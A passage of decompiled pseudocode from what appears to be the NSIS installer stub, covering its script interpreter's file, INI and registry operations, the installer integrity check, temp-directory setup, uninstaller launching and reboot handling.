v94 = sub_4029FD(17);
FilePart = (LPSTR)sub_4029FD(35);
if ( sub_405E7C(v93) )
{
FileOp.hwnd = (HWND)Rect.bottom;
FileOp.wFunc = 2;
v93[lstrlenA(v93) + 1] = 0;
v94[lstrlenA(v94) + 1] = 0;
FileOp.pFrom = v93;
FileOp.pTo = v94;
FileOp.lpszProgressTitle = FilePart;
FileOp.fFlags = dwBytes;
sub_404E63(0, FilePart);
if ( !SHFileOperationA(&FileOp) )
goto LABEL_359;
}
sub_404E63(-7, 0);
goto LABEL_318;
case 47:
if ( v159 != 195948557 )
goto LABEL_234;
++dword_423774;
goto LABEL_359;
case 48:
v95 = 0;
v96 = 0;
if ( v159 )
{
v97 = sub_4029FD(0);
v3 = nCmdShow;
v95 = v97;
}
if ( v3 )
v96 = sub_4029FD(17);
if ( FileTime2.dwHighDateTime )
v1 = sub_4029FD(34);
v98 = sub_4029FD(-51);
v11 = WritePrivateProfileStringA(v95, v96, v1, v98);
goto LABEL_23;
case 49:
HIWORD(FilePart) = word_409010;
v99 = sub_4029FD(1);
dwHandle = (DWORD)sub_4029FD(18);
v100 = sub_4029FD(-35);
GetPrivateProfileStringA(v99, (LPCSTR)dwHandle, (LPCSTR)&FilePart + 2, v4, 0x3FFu, v100);
v25 = *v4 == 10;
LABEL_51:
if ( v25 )
goto LABEL_314;
goto LABEL_359;
case 50:
if ( FileTime2.dwHighDateTime )
{
v104 = sub_4029FD(34);
v105 = FileTime2.dwHighDateTime & 2;
v106 = v104;
v107 = (HKEY)sub_402AF2(nCmdShow);
v103 = sub_402A3D(v107, v106, v105);
}
else
{
v101 = (HKEY)sub_402B07((HKEY)2);
if ( !v101 )
goto LABEL_318;
v102 = sub_4029FD(51);
v103 = RegDeleteValueA(v101, v102);
RegCloseKey(v101);
}
if ( v103 )
goto LABEL_318;
goto LABEL_359;
case 51:
v108 = sub_402AF2(v159);
v109 = FileTime2.dwHighDateTime;
v110 = (HKEY)v108;
dwHandle = v163;
puLen = (unsigned int)sub_4029FD(2);
v111 = sub_4029FD(17);
v166 = 1;
v112 = RegCreateKeyExA(v110, v111, 0, 0, 0, dword_423790 | 2, 0, (PHKEY)&FilePart, 0);
if ( !v112 )
{
if ( v109 == 1 )
{
sub_4029FD(35);
v112 = lstrlenA((LPCSTR)::Buffer) + 1;
}
if ( v109 == 4 )
{
*(_DWORD *)::Buffer = sub_4029E0(3);
v112 = 4;
}
if ( v109 == 3 )
v112 = sub_402E62(FileTime2.dwLowDateTime, 0, ::Buffer, 3072);
if ( !RegSetValueExA((HKEY)FilePart, (LPCSTR)puLen, 0, dwHandle, ::Buffer, v112) )
v166 = 0;
RegCloseKey((HKEY)FilePart);
}
goto LABEL_359;
case 52:
v113 = (HKEY)sub_402B07((HKEY)0x20019);
v114 = sub_4029FD(51);
*v4 = 0;
if ( !v113 )
goto LABEL_318;
dwHandle = 1024;
if ( RegQueryValueExA(v113, v114, 0, (LPDWORD)&FilePart, (LPBYTE)v4, &dwHandle) )
goto LABEL_269;
if ( FilePart == (LPSTR)4 )
{
v115 = *(_DWORD *)v4;
v166 = FileTime2.dwHighDateTime == 0;
sub_405AD6(v4, v115);
}
else
{
if ( FilePart == (LPSTR)1 || FilePart == (LPSTR)2 )
{
v166 = FileTime2.dwHighDateTime;
goto LABEL_274;
}
LABEL_269:
*v4 = 0;
v166 = 1;
}
goto LABEL_275;
case 53:
v113 = (HKEY)sub_402B07((HKEY)0x20019);
v116 = sub_4029E0(3);
*v4 = 0;
if ( !v113 )
goto LABEL_318;
FilePart = (LPSTR)1023;
if ( FileTime2.dwHighDateTime )
{
RegEnumKeyA(v113, v116, v4, 0x3FFu);
}
else if ( RegEnumValueA(v113, v116, v4, (LPDWORD)&FilePart, 0, 0, 0, 0) )
{
goto LABEL_318;
}
LABEL_274:
v4[1023] = 0;
LABEL_275:
RegCloseKey(v113);
goto LABEL_359;
case 54:
if ( *v4 )
{
v117 = (void *)sub_405AEF(&byte_424000[1024 * v159]);
CloseHandle(v117);
}
goto LABEL_359;
case 55:
v118 = sub_4029FD(-19);
v39 = (const CHAR *)sub_405809(v118, nCmdShow, dwBytes);
if ( v39 == (const CHAR *)-1 )
goto LABEL_317;
LABEL_280:
v148 = v39;
goto LABEL_17;
case 56:
if ( dwBytes )
{
byte_4097B0 = sub_4029E0(1);
v119 = 1;
}
else
{
v120 = sub_4029FD(17);
v119 = lstrlenA(v120);
}
if ( !*v4 )
goto LABEL_318;
v121 = v119;
v122 = (void *)sub_405AEF(v4);
v11 = WriteFile(v122, &byte_4097B0, v121, (LPDWORD)&FilePart, 0);
LABEL_23:
v12 = v11 == 0;
goto LABEL_24;
case 57:
lptstrFilename = 0;
v123 = sub_4029E0(2);
Rect.bottom = v123;
if ( v123 < 1 )
goto LABEL_359;
if ( v123 > 1023 )
Rect.bottom = 1023;
if ( !*v4 || (BYTE3(FilePart) = 0, lpString2 = (LPCSTR)sub_405AEF(v4), Rect.bottom <= 0) )
{
v124 = lptstrFilename;
goto LABEL_306;
}
v124 = lptstrFilename;
while ( 1 )
{
if ( !sub_405881((HANDLE)lpString2, &Buffer, 1u) )
goto LABEL_306;
if ( FileTime2.dwLowDateTime )
{
sub_405AD6(v5, Buffer);
return 0;
}
if ( BYTE3(FilePart) == 13 || BYTE3(FilePart) == 10 )
break;
v125 = Buffer;
v5[(_DWORD)v124++] = Buffer;
BYTE3(FilePart) = v125;
if ( !v125 || (signed int)v124 >= Rect.bottom )
goto LABEL_306;
}
if ( BYTE3(FilePart) == Buffer || Buffer != 13 && Buffer != 10 )
SetFilePointer((HANDLE)lpString2, -1, 0, 1u);
else
v5[(_DWORD)v124++] = Buffer;
LABEL_306:
v5[(_DWORD)v124] = 0;
v12 = v124 == 0;
LABEL_24:
if ( v12 )
LABEL_318:
v166 = 1;
LABEL_359:
dword_423768 += v166;
return 0;
case 58:
if ( *v4 )
{
v126 = FileTime2.dwLowDateTime;
v127 = sub_4029E0(2);
v128 = (void *)sub_405AEF(v4);
v129 = SetFilePointer(v128, v127, 0, v126);
if ( nCmdShow >= 0 )
goto LABEL_351;
}
goto LABEL_359;
case 59:
if ( *v4 )
{
v130 = (void *)sub_405AEF(&byte_424000[1024 * v159]);
FindClose(v130);
}
goto LABEL_359;
case 60:
if ( *v5 )
{
v131 = (void *)sub_405AEF(&byte_424000[1024 * nCmdShow]);
if ( FindNextFileA(v131, &FindFileData) )
goto LABEL_320;
}
LABEL_314:
v166 = 1;
*v4 = 0;
goto LABEL_359;
case 61:
v132 = sub_4029FD(2);
v133 = FindFirstFileA(v132, &FindFileData);
if ( v133 == (HANDLE)-1 )
{
*v5 = 0;
LABEL_317:
*v4 = 0;
goto LABEL_318;
}
sub_405AD6(v5, (int)v133);
LABEL_320:
sub_405B78(v4, FindFileData.cFileName);
goto LABEL_359;
case 62:
lpString2 = (LPCSTR)-666;
v134 = sub_4029FD(-16);
puLen = (unsigned int)v134;
if ( !sub_405675((int)v134) )
sub_4029FD(-19);
sub_4057E4(v134);
FilePart = (LPSTR)sub_405809(v134, 0x40000000u, 2u);
if ( FilePart != LPSTR_TEXTCALLBACKW )
{
lptstrFilename = (LPCSTR)::dwBytes;
v135 = GlobalAlloc(0x40u, ::dwBytes);
if ( v135 )
{
sub_40306B(0);
sub_403055(v135, (DWORD)lptstrFilename);
v136 = GlobalAlloc(0x40u, dwBytes);
v137 = (LONG)v136;
dwHandle = (DWORD)v136;
if ( v136 )
{
sub_402E62(nCmdShow, 0, v136, dwBytes);
while ( *(_BYTE *)v137 )
{
v138 = *(_DWORD *)v137;
v139 = *(_DWORD *)(v137 + 4);
v140 = v137 + 8;
Rect.right = v138;
sub_4057C4((_BYTE *)v135 + v139, v140, v138);
v137 = Rect.right + v140;
}
GlobalFree((HGLOBAL)dwHandle);
}
WriteFile(FilePart, v135, (DWORD)lptstrFilename, (LPDWORD)&lpString2, 0);
GlobalFree(v135);
lpString2 = (LPCSTR)sub_402E62(-1, FilePart, 0, 0);
}
CloseHandle(FilePart);
}
v141 = -13;
if ( (signed int)lpString2 < 0 )
{
v141 = -17;
DeleteFileA((LPCSTR)puLen);
v166 = 1;
}
sub_401423(v141);
goto LABEL_359;
case 63:
v142 = (CHAR *)sub_4029E0(0);
FilePart = v142;
if ( (unsigned int)v142 >= dword_42370C )
goto LABEL_318;
v143 = v142;
v144 = dwBytes;
v145 = dword_423708 + 1048 * (_DWORD)v143;
if ( (dwBytes & 0x80000000) != 0 )
{
dwBytes = -1 - dwBytes;
if ( -1 == v144 )
{
sub_405B9A((LPSTR)(v145 + 24), FileTime2.dwHighDateTime);
*(_BYTE *)(v145 + 9) |= 1u;
}
else
{
nCmdShow = sub_4029E0(1);
}
*(_DWORD *)(v145 + 4 * dwBytes) = nCmdShow;
if ( FileTime2.dwLowDateTime )
sub_40117D((int)FilePart);
goto LABEL_359;
}
if ( !dwBytes )
{
sub_405B78(v5, (LPCSTR)(v145 + 24));
goto LABEL_359;
}
v151 = *(_DWORD *)(v145 + 4 * dwBytes);
goto LABEL_352;
case 64:
v146 = sub_4029E0(0);
if ( v146 >= 0x20 )
goto LABEL_318;
if ( FileTime2.dwLowDateTime )
{
if ( dwBytes )
{
sub_401299(v146);
sub_4011EF(0, 0);
}
else
{
v129 = sub_4012E2(0);
LABEL_351:
v151 = v129;
LABEL_352:
sub_405AD6(v5, v151);
}
}
else if ( dwBytes )
{
*(_DWORD *)(dword_4236F0 + 4 * v146 + 148) = nCmdShow;
}
else
{
sub_405B9A(v5, *(_DWORD *)(dword_4236F0 + 4 * v146 + 148));
}
goto LABEL_359;
case 67:
SendMessageA((HWND)Rect.bottom, 0xBu, v159 & dword_420CD8, 0);
if ( v159 )
InvalidateRect((HWND)Rect.bottom, 0, 0);
goto LABEL_359;
default:
goto LABEL_359;
case 2:
return result;
}
}
int __stdcall sub_4029E0(int a1)
{
const CHAR *v1; // eax@1
v1 = sub_405B9A(0, *(_DWORD *)(dword_40A7B0 + 4 * a1));
return sub_405AEF(v1);
}
const CHAR *__stdcall sub_4029FD(signed int a1)
{
signed int v1; // eax@1
const CHAR *v2; // eax@3
const CHAR *v3; // edi@3
v1 = a1;
if ( a1 < 0 )
v1 = -a1;
v2 = sub_405B9A(&String1[1024 * (v1 >> 4)], *(_DWORD *)(dword_40A7B0 + 4 * (v1 & 0xF)));
v3 = v2;
if ( a1 < 0 )
sub_405DE3(v2);
return v3;
}
LSTATUS __stdcall sub_402A3D(HKEY hKey, LPCSTR lpSubKey, int a3)
{
REGSAM v3; // eax@1
LSTATUS result; // eax@1
HMODULE v5; // eax@6
CHAR Name; // [sp+Ch] [bp-10Ch]@4
HKEY phkResult; // [sp+114h] [bp-4h]@1
v3 = dword_423790;
LOBYTE(v3) = dword_423790 | 8;
result = RegOpenKeyExA(hKey, lpSubKey, 0, v3, &phkResult);
if ( !result )
{
while ( !RegEnumKeyA(phkResult, 0, &Name, 0x105u) )
{
if ( a3 )
{
RegCloseKey(phkResult);
return 1;
}
if ( sub_402A3D(phkResult, &Name, 0) )
break;
}
RegCloseKey(phkResult);
v5 = sub_405EA3(3);
if ( v5 )
return ((int (__stdcall *)(HKEY, LPCSTR, int, _DWORD))v5)(hKey, lpSubKey, dword_423790, 0);
if ( dword_423790 )
return 1;
result = RegDeleteKeyA(hKey, lpSubKey);
if ( result )
return 1;
}
return result;
}
int __stdcall sub_402AF2(int a1)
{
int result; // eax@1
result = a1;
if ( !a1 )
result = dword_423764 - 0x7FFFFFFF;
return result;
}
unsigned int __stdcall sub_402B07(HKEY phkResult)
{
unsigned int v1; // ST0C_4@1
const CHAR *v2; // ST04_4@1
HKEY v3; // eax@1
LSTATUS v4; // eax@1
v1 = (unsigned int)phkResult | dword_423790;
v2 = sub_4029FD(34);
v3 = (HKEY)sub_402AF2(*(_DWORD *)(dword_40A7B0 + 4));
v4 = RegOpenKeyExA(v3, v2, 0, v1, &phkResult);
return v4 == 0 ? (unsigned int)phkResult : 0;
}
INT_PTR __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4)
{
int v4; // ecx@4
int v5; // eax@6
CHAR String; // [sp+0h] [bp-40h]@6
if ( a2 == 272 )
{
SetTimer(hWnd, 1u, 0xFAu, 0);
a2 = 275;
}
if ( a2 == 275 )
{
v4 = lDistanceToMove;
if ( lDistanceToMove >= dword_41E890 )
v4 = dword_41E890;
v5 = MulDiv(v4, 100, dword_41E890);
wsprintfA(&String, aVerifyingInsta, v5);
SetWindowTextA(hWnd, &String);
SetDlgItemTextA(hWnd, 1030, &String);
}
return 0;
}
HWND __cdecl sub_402BC5(int a1)
{
HWND result; // eax@2
if ( a1 )
{
result = dword_416888;
if ( dword_416888 )
result = (HWND)DestroyWindow(dword_416888);
dword_416888 = 0;
}
else if ( dword_416888 )
{
result = (HWND)sub_405EDC(0);
}
else
{
result = (HWND)GetTickCount();
if ( (unsigned int)result > dword_4236EC )
{
dword_416888 = CreateDialogParamA(hInstance, (LPCSTR)0x6F, 0, DialogFunc, 0);
result = (HWND)ShowWindow(dword_416888, 5);
}
}
return result;
}
char *__stdcall sub_402C29(int Buffer)
{
HANDLE v1; // edi@1
const CHAR *v3; // eax@3
signed int v4; // esi@3
unsigned int v5; // edi@4
HGLOBAL v6; // esi@27
signed __int32 v7; // eax@27
_DWORD *v8; // eax@32
signed int v9; // ecx@32
int v10; // [sp+Ch] [bp-28h]@8
int v11; // [sp+10h] [bp-24h]@9
int v12; // [sp+14h] [bp-20h]@12
int v13; // [sp+18h] [bp-1Ch]@11
int v14; // [sp+1Ch] [bp-18h]@10
SIZE_T dwBytes; // [sp+20h] [bp-14h]@27
int v16; // [sp+24h] [bp-10h]@13
HANDLE hFile; // [sp+28h] [bp-Ch]@1
int v18; // [sp+2Ch] [bp-8h]@1
int v19; // [sp+30h] [bp-4h]@1
v18 = 0;
v19 = 0;
dword_4236EC = GetTickCount() + 1000;
GetModuleFileNameA(0, ExistingFileName, 0x400u);
v1 = sub_405809(ExistingFileName, 0x80000000, 3u);
hFile = v1;
::hFile = v1;
if ( v1 == (HANDLE)-1 )
return aErrorLaunching;
sub_405B78(byte_429C00, ExistingFileName);
v3 = sub_40564F(byte_429C00);
sub_405B78(byte_42B000, v3);
dword_41E890 = GetFileSize(v1, 0);
v4 = dword_41E890;
if ( dword_41E890 > 0 )
{
while ( 1 )
{
v5 = v4;
if ( v4 >= (::dwBytes != 0 ? 0x8000 : 512) )
v5 = ::dwBytes != 0 ? 0x8000 : 512;
if ( !sub_403055(&unk_416890, v5) )
break;
if ( ::dwBytes )
{
if ( !(Buffer & 2) )
sub_402BC5(0);
}
else
{
sub_4057C4(&v10, (int)&unk_416890, 28);
if ( !(v10 & 0xFFFFFFF0) && v11 == -559038737 && v14 == 1953721929 && v13 == 1952870259 && v12 == 1819047246 )
{
Buffer |= v10;
dword_423780 |= Buffer & 2;
::dwBytes = lDistanceToMove;
if ( v16 > v4 )
return aInstallerInteg;
if ( !(Buffer & 8) && Buffer & 4 )
goto LABEL_23;
++v19;
v4 = v16 - 4;
if ( v5 > v16 - 4 )
v5 = v16 - 4;
}
}
if ( v4 < dword_41E890 )
v18 = sub_405F15(v18, &unk_416890, v5);
lDistanceToMove += v5;
v4 -= v5;
if ( v4 <= 0 )
goto LABEL_23;
}
sub_402BC5(1);
return aInstallerInteg;
}
LABEL_23:
sub_402BC5(1);
if ( !::dwBytes )
return aInstallerInteg;
if ( v19 )
{
sub_40306B(lDistanceToMove);
if ( !sub_403055(&Buffer, 4u) || v18 != Buffer )
return aInstallerInteg;
}
v6 = GlobalAlloc(0x40u, dwBytes);
sub_40306B(::dwBytes + 28);
v7 = sub_402E62(-1, 0, v6, dwBytes);
if ( v7 != dwBytes )
return aInstallerInteg;
dword_4236F0 = (int)v6;
dword_4236F8 = *(_DWORD *)v6;
if ( v10 & 1 )
++dword_4236FC;
v8 = (char *)v6 + 68;
v9 = 8;
do
{
v8 -= 2;
*v8 += v6;
--v9;
}
while ( v9 );
*((_DWORD *)v6 + 15) = SetFilePointer(hFile, 0, 0, 1u);
sub_4057C4(&dword_423700, (int)v6 + 4, 64);
return 0;
}
signed int __stdcall sub_402E62(int nDenominator, HANDLE hFile, LPCVOID lpBuffer, int Buffer)
{
signed __int32 v4; // esi@1
LPCVOID v5; // edi@1
LPCVOID v6; // ebx@3
bool v7; // zf@9
bool v8; // sf@9
int v9; // esi@10
int v10; // esi@15
DWORD v11; // eax@15
DWORD v12; // edi@15
int v13; // eax@18
const void *v15; // esi@37
CHAR String; // [sp+Ch] [bp-54h]@18
int v18; // [sp+4Ch] [bp-14h]@14
DWORD NumberOfBytesWritten; // [sp+50h] [bp-10h]@21
DWORD v20; // [sp+54h] [bp-Ch]@9
DWORD nNumberOfBytesToWrite; // [sp+58h] [bp-8h]@1
int v22; // [sp+5Ch] [bp-4h]@3
int nDenominatora; // [sp+68h] [bp+8h]@9
v4 = Buffer;
v5 = lpBuffer;
nNumberOfBytesToWrite = Buffer;
if ( !lpBuffer )
nNumberOfBytesToWrite = 0x8000;
v22 = 0;
v6 = lpBuffer;
if ( !lpBuffer )
v6 = &unk_40E888;
if ( nDenominator >= 0 )
sub_40306B(nDenominator + dword_423738);
if ( !sub_403055(&Buffer, 4u) )
return -3;
if ( !(BYTE3(Buffer) & 0x80) )
{
if ( !v5 )
{
while ( Buffer > 0 )
{
v15 = (const void *)nNumberOfBytesToWrite;
if ( Buffer < (signed int)nNumberOfBytesToWrite )
v15 = (const void *)Buffer;
if ( !sub_403055(&unk_40A888, (DWORD)v15) )
return -3;
if ( !WriteFile(hFile, &unk_40A888, (DWORD)v15, (LPDWORD)&lpBuffer, 0) || v15 != lpBuffer )
return -2;
v22 += (int)v15;
Buffer -= (signed int)v15;
}
return v22;
}
if ( Buffer < v4 )
v4 = Buffer;
if ( !sub_403055((LPVOID)v5, v4) )
return -3;
return v4;
}
v20 = GetTickCount();
sub_405F83((int)&unk_40A7F8);
v7 = (Buffer & 0x7FFFFFFF) == 0;
v8 = (Buffer & 0x7FFFFFFF) < 0;
Buffer &= 0x7FFFFFFFu;
nDenominatora = Buffer;
if ( v8 || v7 )
return v22;
while ( 2 )
{
v9 = 0x4000;
if ( Buffer < 0x4000 )
v9 = Buffer;
if ( sub_403055(&unk_40A888, v9) )
{
Buffer -= v9;
dword_40A810 = (int)&unk_40A888;
dword_40A814 = v9;
while ( 1 )
{
dword_40A818 = (int)v6;
dword_40A81C = nNumberOfBytesToWrite;
v18 = sub_405FA3((int *)&unk_40A7F8);
if ( v18 < 0 )
return -4;
v10 = dword_40A818 - (_DWORD)v6;
v11 = GetTickCount();
v12 = v11;
if ( dword_423794 & 1 && (v11 - v20 > 0xC8 || !Buffer) )
{
v13 = MulDiv(nDenominatora - Buffer, 100, nDenominatora);
wsprintfA(&String, a___D, v13);
sub_404E63(0, &String);
v20 = v12;
}
if ( !v10 )
break;
if ( lpBuffer )
{
v22 += v10;
nNumberOfBytesToWrite -= v10;
v6 = (LPCVOID)dword_40A818;
}
else
{
if ( !WriteFile(hFile, v6, v10, &NumberOfBytesWritten, 0) || NumberOfBytesWritten != v10 )
return -2;
v22 += v10;
}
if ( v18 == 1 )
return v22;
}
if ( Buffer > 0 )
continue;
return v22;
}
break;
}
return -3;
}
int __stdcall sub_403055(LPVOID lpBuffer, DWORD nNumberOfBytesToRead)
{
return sub_405881(hFile, lpBuffer, nNumberOfBytesToRead);
}
DWORD __stdcall sub_40306B(LONG lDistanceToMove)
{
return SetFilePointer(hFile, lDistanceToMove, 0, 0);
}
int sub_403082()
{
int result; // eax@1
sub_405DE3(PathName);
result = sub_405675((int)PathName);
if ( result )
{
sub_405608(PathName);
CreateDirectoryA(PathName, 0);
result = sub_405838((int)&FileName, PathName);
}
return result;
}
void __noreturn start()
{
const CHAR *v0; // eax@1
const CHAR *v1; // eax@1
const CHAR *v2; // eax@3
void *v3; // eax@3
char v4; // cl@10
char v5; // cl@14
const CHAR *i; // esi@28
const CHAR *v7; // esi@32
__int16 v8; // ax@41
signed int v9; // ebp@41
HANDLE v10; // eax@44
HMODULE v11; // ebp@49
HMODULE v12; // esi@49
HMODULE v13; // eax@49
void (__stdcall *v14)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // edi@49
HANDLE v15; // eax@52
HMODULE v16; // eax@54
char *v17; // [sp+3Ch] [bp-184h]@1
char v18; // [sp+40h] [bp-180h]@1
char v19; // [sp+40h] [bp-180h]@6
signed int uExitCode; // [sp+44h] [bp-17Ch]@1
LPCSTR lpString2; // [sp+48h] [bp-178h]@3
int Buffer; // [sp+4Ch] [bp-174h]@1
int v23; // [sp+50h] [bp-170h]@53
char v24; // [sp+54h] [bp-16Ch]@53
int v25; // [sp+5Ch] [bp-164h]@53
SHFILEINFOA psfi; // [sp+60h] [bp-160h]@1
uExitCode = 0;
v17 = aErrorWritingTe;
Buffer = 0;
v18 = 32;
InitCommonControls();
SetErrorMode(0x8001u);
dword_423798 = OleInitialize(0);
dword_4236E4 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))sub_405EA3(9);
SHGetFileInfoA(pszPath, 0, &psfi, 0x160u, 0);
sub_405B78(chText, aNsisError);
v0 = GetCommandLineA();
sub_405B78((LPSTR)&sz, v0);
hInstance = GetModuleHandleA(0);
v1 = &sz;
if ( sz == 34 )
{
v18 = 34;
v1 = (const CHAR *)&unk_429001;
}
v2 = sub_405633(v1, v18);
v3 = CharNextA(v2);
lpString2 = (LPCSTR)v3;
while ( 1 )
{
if ( !*(_BYTE *)v3 )
goto LABEL_23;
for ( ; *(_BYTE *)v3 == 32; v3 = (char *)v3 + 1 )
;
v19 = 32;
if ( *(_BYTE *)v3 == 34 )
{
v3 = (char *)v3 + 1;
v19 = 34;
}
if ( *(_BYTE *)v3 == 47 )
{
v3 = (char *)v3 + 1;
if ( *(_BYTE *)v3 == 83 )
{
v4 = *((_BYTE *)v3 + 1);
if ( v4 == 32 || !v4 )
dword_423780 = 1;
}
if ( *(_DWORD *)v3 == (byte_409178 | ((byte_409179 | ((byte_40917A | (byte_40917B << 8)) << 8)) << 8)) )
{
v5 = *((_BYTE *)v3 + 4);
if ( v5 == 32 || !v5 )
Buffer |= 4u;
}
if ( *(_DWORD *)((char *)v3 - 2) == (byte_409170 | ((byte_409171 | ((byte_409172 | (byte_409173 << 8)) << 8)) << 8)) )
break;
}
v3 = (void *)sub_405633((LPCSTR)v3, v19);
if ( *(_BYTE *)v3 == 34 )
v3 = (char *)v3 + 1;
}
*((char *)v3 - 2) = 0;
sub_405B78(&byte_429400, (LPCSTR)v3 + 2);
LABEL_23:
GetTempPathA(0x400u, PathName);
if ( sub_403082()
|| (GetWindowsDirectoryA(PathName, 0x3FBu), lstrcatA(PathName, String2), sub_403082())
|| (GetTempPathA(0x3FCu, PathName),
lstrcatA(PathName, aLow),
SetEnvironmentVariableA(Name, PathName),
SetEnvironmentVariableA(aTmp, PathName),
sub_403082()) )
{
DeleteFileA(&FileName);
v17 = sub_402C29(Buffer);
if ( !v17 )
{
if ( !dword_4236FC )
{
LABEL_34:
dword_42378C = -1;
uExitCode = sub_40360E();
goto LABEL_35;
}
for ( i = sub_405633(&sz, 0); i >= &sz; --i )
{
if ( *(_DWORD *)i == (byte_409150 | ((byte_409151 | ((byte_409152 | (byte_409153 << 8)) << 8)) << 8)) )
break;
}
v17 = aErrorLaunching;
if ( i >= &sz )
{
*i = 0;
v7 = i + 4;
if ( !sub_4056F6(v7) )
goto LABEL_35;
sub_405B78(&byte_429400, v7);
sub_405B78(Directory, v7);
v17 = 0;
goto LABEL_34;
}
lstrcatA(PathName, aNsu_tmp);
if ( lstrcmpiA(PathName, byte_429C00) )
{
CreateDirectoryA(PathName, 0);
SetCurrentDirectoryA(PathName);
if ( !byte_429400 )
sub_405B78(&byte_429400, byte_429C00);
sub_405B78(byte_424000, lpString2);
LOBYTE(v8) = 0;
HIBYTE(v8) = byte_409141;
v9 = 26;
word_424400 = byte_409140 | v8;
do
{
sub_405B9A(CommandLine, *(_DWORD *)(dword_4236F0 + 288));
DeleteFileA(CommandLine);
if ( v17 )
{
if ( CopyFileA(ExistingFileName, CommandLine, 1) )
{
sub_405A2C(CommandLine, 0);
sub_405B9A(CommandLine, *(_DWORD *)(dword_4236F0 + 292));
v10 = sub_40532B(CommandLine);
if ( v10 )
{
CloseHandle(v10);
v17 = 0;
}
}
}
LOBYTE(word_424400) = word_424400 + 1;
--v9;
}
while ( v9 );
sub_405A2C(PathName, 0);
}
}
}
LABEL_35:
sub_403534();
OleUninitialize();
if ( v17 )
{
sub_40538C(v17, 0x200010u);
ExitProcess(2u);
}
if ( dword_423774 )
{
v11 = sub_405EA3(4);
v12 = sub_405EA3(5);
v13 = sub_405EA3(6);
v14 = (void (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v13;
if ( v11 )
{
if ( v12 )
{
if ( v13 )
{
v15 = GetCurrentProcess();
if ( ((int (__stdcall *)(HANDLE, signed int, LPCSTR *))v11)(v15, 40, &lpString2) )
{
((void (__stdcall *)(_DWORD, char *, char *))v12)(0, aSeshutdownpriv, &v24);
v23 = 1;
v25 = 2;
v14(lpString2, 0, &v23, 0, 0, 0);
}
}
}
}
v16 = sub_405EA3(7);
if ( v16 && !((int (__stdcall *)(_DWORD, _DWORD, _DWORD, signed int, signed int))v16)(0, 0, 0, 37, -2147221502)
|| !ExitWindowsEx(2u, 0x80040002) )
{
sub_40140B(9);
}
}
if ( dword_42378C != -1 )
uExitCode = dword_42378C;
ExitProcess(uExitCode);
}
void *sub_403534()
{
if ( hFile != (HANDLE)-1 )
{
CloseHandle(hFile);
hFile = (HANDLE)-1;
}
sub_403579();
return sub_405438(byte_42A800, 7);
}
int __stdcall sub_40355E(int a1)
{
int (__cdecl **i)(_DWORD); // esi@1
int result; // eax@2
for ( i = (int (__cdecl **)(_DWORD))dword_41EC9C; i; i = (int (__cdecl **)(_DWORD))*i )
result = i[1](a1);
return result;
}
HGLOBAL sub_403579()
{
_DWORD *v0; // esi@1
HGLOBAL result; // eax@1
_DWORD *v2; // edi@2
v0 = dword_41EC9C;
for ( result = (HGLOBAL)sub_40355E(0); v0; result = GlobalFree(v2) )
{
v2 = v0;
v0 = (_DWORD *)*v0;
FreeLibrary((HMODULE)v2[2]);
}
dword_41EC9C = 0;
return result;
}
signed int __stdcall sub_4035AE(int a1)
{
_DWORD *i; // eax@1
for ( i = dword_41EC9C; ; i = (_DWORD *)*i )
{
if ( !i )
return 1;
if ( i[2] == a1 )
break;
}
return 0;
}
signed int __stdcall sub_4035CC(int a1, int a2)
{
signed int result; // eax@2
_DWORD *v3; // eax@3
if ( sub_4035AE(a1) )
{
v3 = GlobalAlloc(0x40u, 0xCu);
if ( v3 )
{
v3[2] = a1;
v3[1] = a2;
*v3 = dword_41EC9C;
dword_41EC9C = v3;
result = 0;
}
else
{
result = -1;
}
}
else
{
result = 1;
}
return result;
}
signed int sub_40360E()
{
int v0; // esi@1
int (*v1)(void); // eax@1
unsigned __int16 v2; // ax@2
int v3; // ecx@7
const CHAR *v4; // edi@8
const CHAR *v5; // eax@11
DWORD v6; // eax@13
const CHAR *v7; // eax@16
HICON v8; // eax@19
INT_PTR v10; // esi@29
int pvParam; // [sp+10h] [bp-10h]@21
int Y; // [sp+14h] [bp-Ch]@21
int v13; // [sp+18h] [bp-8h]@21
int v14; // [sp+1Ch] [bp-4h]@21
v0 = dword_4236F0;
v1 = (int (*)(void))sub_405EA3(2);
if ( v1 )
{
v2 = v1();
sub_405AD6((LPSTR)&FileName, v2);
}
else
{
FileName = 48;
byte_42A001 = 120;
byte_42A002 = 0;
sub_405A5F(HKEY_CURRENT_USER, "Control Panel\\Desktop\\ResourceLocale", 0, (DWORD)&byte_41FCD8, 0);
if ( !byte_41FCD8 )
sub_405A5F(HKEY_USERS, ".DEFAULT\\Control Panel\\International", "Locale", (DWORD)&byte_41FCD8, 0);
lstrcatA((LPSTR)&FileName, &byte_41FCD8);
}
sub_4038D3();
dword_423760[0] = dword_4236F8 & 0x20;
dword_42377C = 0x10000;
if ( !sub_4056F6(&byte_429400) )
{
v3 = *(_DWORD *)(v0 + 72);
if ( v3 )
{
v4 = &String;
sub_405A5F(
*(HKEY *)(v0 + 68),
(LPCSTR)(dword_423718 + v3),
(LPCSTR)(dword_423718 + *(_DWORD *)(v0 + 76)),
(DWORD)&String,
0);
if ( String )
{
if ( String == 34 )
{
v4 = byte_422681;
*sub_405633(byte_422681, 34) = 0;
}
v5 = &v4[lstrlenA(v4) - 4];
if ( v5 > v4 && !lstrcmpiA(v5, a_exe) )
{
v6 = GetFileAttributesA(v4);
if ( v6 == -1 || !(v6 & 0x10) )
sub_40564F(v4);
}
v7 = sub_405608(v4);
sub_405B78(&byte_429400, v7);
}
}
}
if ( !sub_4056F6(&byte_429400) )
sub_405B9A(&byte_429400, *(_DWORD *)(v0 + 280));
v8 = (HICON)LoadImageA(hInstance, (LPCSTR)0x67, 1u, 0, 0, 0x8040u);
dwNewLong = (LONG)v8;
if ( *(_DWORD *)(v0 + 80) != -1 )
{
WndClass.lpfnWndProc = sub_401000;
WndClass.hInstance = hInstance;
WndClass.hIcon = v8;
WndClass.lpszClassName = ClassName;
if ( !RegisterClassA(&WndClass) )
return 0;
SystemParametersInfoA(0x30u, 0, &pvParam, 0);
dword_41FCB8 = CreateWindowExA(
0x80u,
ClassName,
0,
0x80000000,
pvParam,
Y,
v13 - pvParam,
v14 - Y,
0,
0,
hInstance,
0);
}
if ( sub_40140B(0) )
return 2;
sub_4038D3();
if ( dword_423780 )
{
if ( StartAddress(0) )
{
if ( !dword_422EAC )
